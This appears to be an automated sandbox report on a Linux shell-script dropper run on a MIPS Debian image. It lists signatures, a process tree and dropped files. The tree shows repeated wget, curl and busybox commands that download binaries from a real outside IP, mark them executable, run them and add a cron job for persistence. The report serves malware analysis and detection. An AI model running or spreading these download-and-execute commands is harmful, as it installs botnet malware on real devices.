Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    14/11/2024, 01:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-bnst8a1qex
  • SHA256 d40afdcbb45a7ac16bb3c675d24c374cce1b2e82df2b03d40aa0d1fb57448c4a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1881) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:697
        • /usr/bin/wget
          wget http://216.126.231.240/bins/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Writes file to tmp directory
          PID:699
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Writes file to tmp directory
          PID:722
        • /bin/chmod
          chmod 777 5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • File and Directory Permissions Modification
          PID:723
        • /tmp/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          ./5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Executes dropped EXE
          PID:724
        • /bin/rm
          rm 5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
            PID:726
          • /usr/bin/wget
            wget http://216.126.231.240/bins/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Writes file to tmp directory
            PID:727
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:729
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Writes file to tmp directory
            PID:732
          • /bin/chmod
            chmod 777 UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • File and Directory Permissions Modification
            PID:733
          • /tmp/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            ./UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Executes dropped EXE
            PID:734
          • /bin/rm
            rm UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
              PID:736
            • /usr/bin/wget
              wget http://216.126.231.240/bins/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Writes file to tmp directory
              PID:737
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Writes file to tmp directory
              PID:755
            • /bin/chmod
              chmod 777 Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              ./Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Executes dropped EXE
              PID:763
            • /bin/rm
              rm Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://216.126.231.240/bins/qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                2⤵
                • Writes file to tmp directory
                PID:767
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                2⤵
                • Writes file to tmp directory
                PID:777
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                2⤵
                • Writes file to tmp directory
                PID:790
              • /bin/chmod
                chmod 777 qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                2⤵
                • File and Directory Permissions Modification
                PID:792
              • /tmp/qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                ./qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:793
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:795
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:796
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:797
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:798
                    • /bin/rm
                      rm qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                      2⤵
                        PID:800
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                        2⤵
                          PID:803
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                          2⤵
                            PID:884
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                            2⤵
                            • Writes file to tmp directory
                            PID:885
                          • /bin/chmod
                            chmod 777 tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                            2⤵
                            • File and Directory Permissions Modification
                            PID:890
                          • /tmp/tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                            ./tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                            2⤵
                            • Executes dropped EXE
                            PID:891
                          • /bin/rm
                            rm tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                            2⤵
                              PID:893
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                              2⤵
                                PID:894
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                                2⤵
                                  PID:895
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:896
                                • /bin/chmod
                                  chmod 777 EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:897
                                • /tmp/EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                                  ./EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                                  2⤵
                                  • Executes dropped EXE
                                  PID:898
                                • /bin/rm
                                  rm EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                                  2⤵
                                    PID:900
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                    2⤵
                                      PID:901
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                      2⤵
                                        PID:906
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:907
                                      • /bin/chmod
                                        chmod 777 x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:908
                                      • /tmp/x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                        ./x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                        2⤵
                                        • Executes dropped EXE
                                        PID:909
                                      • /bin/rm
                                        rm x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                        2⤵
                                          PID:911
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                          2⤵
                                            PID:915
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                            2⤵
                                              PID:916
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:917
                                            • /bin/chmod
                                              chmod 777 9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:921
                                            • /tmp/9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                              ./9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                              2⤵
                                              • Executes dropped EXE
                                              PID:923
                                            • /bin/rm
                                              rm 9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                              2⤵
                                                PID:929
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/6epmuYHZYPMQBnGPQj6xM0RezlaDyXlr2J
                                                2⤵
                                                  PID:931

                                              Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX

                                                    • Path /tmp/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
                                                    • Size 99KB
                                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi

                                                    • Path /tmp/9vXzRP2Ijjf4HOn9JxMoW9q3QJWBwtvpKi
                                                    • Size 177KB
                                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr

                                                    • Path /tmp/EqBAHHsFprC3dqJwAu87j4jYwbfKK9XSHr
                                                    • Size 112KB
                                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx

                                                    • Path /tmp/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
                                                    • Size 98KB
                                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN

                                                    • Path /tmp/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
                                                    • Size 119KB
                                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK

                                                    • Path /tmp/qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                                                    • Size 151KB
                                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX

                                                    • Path /tmp/tTt37xoK7ME7aKAD5KhwY81uy4OYvORmvX
                                                    • Size 117KB
                                                    • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On

                                                    • Path /tmp/x6rdx4lZgk3oGY4NNuyCxdnYT3VwTB73On
                                                    • Size 111KB
                                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    tmp.3jIMKP

                                                    • Path /var/spool/cron/crontabs/tmp.3jIMKP
                                                    • Size 210B
                                                    • SHA256 434b75e7617640b9a68f2cbc10c8b7b6136e81fca4021084fa2e6157391967fc
                                                    • MD5 SHA1 SHA512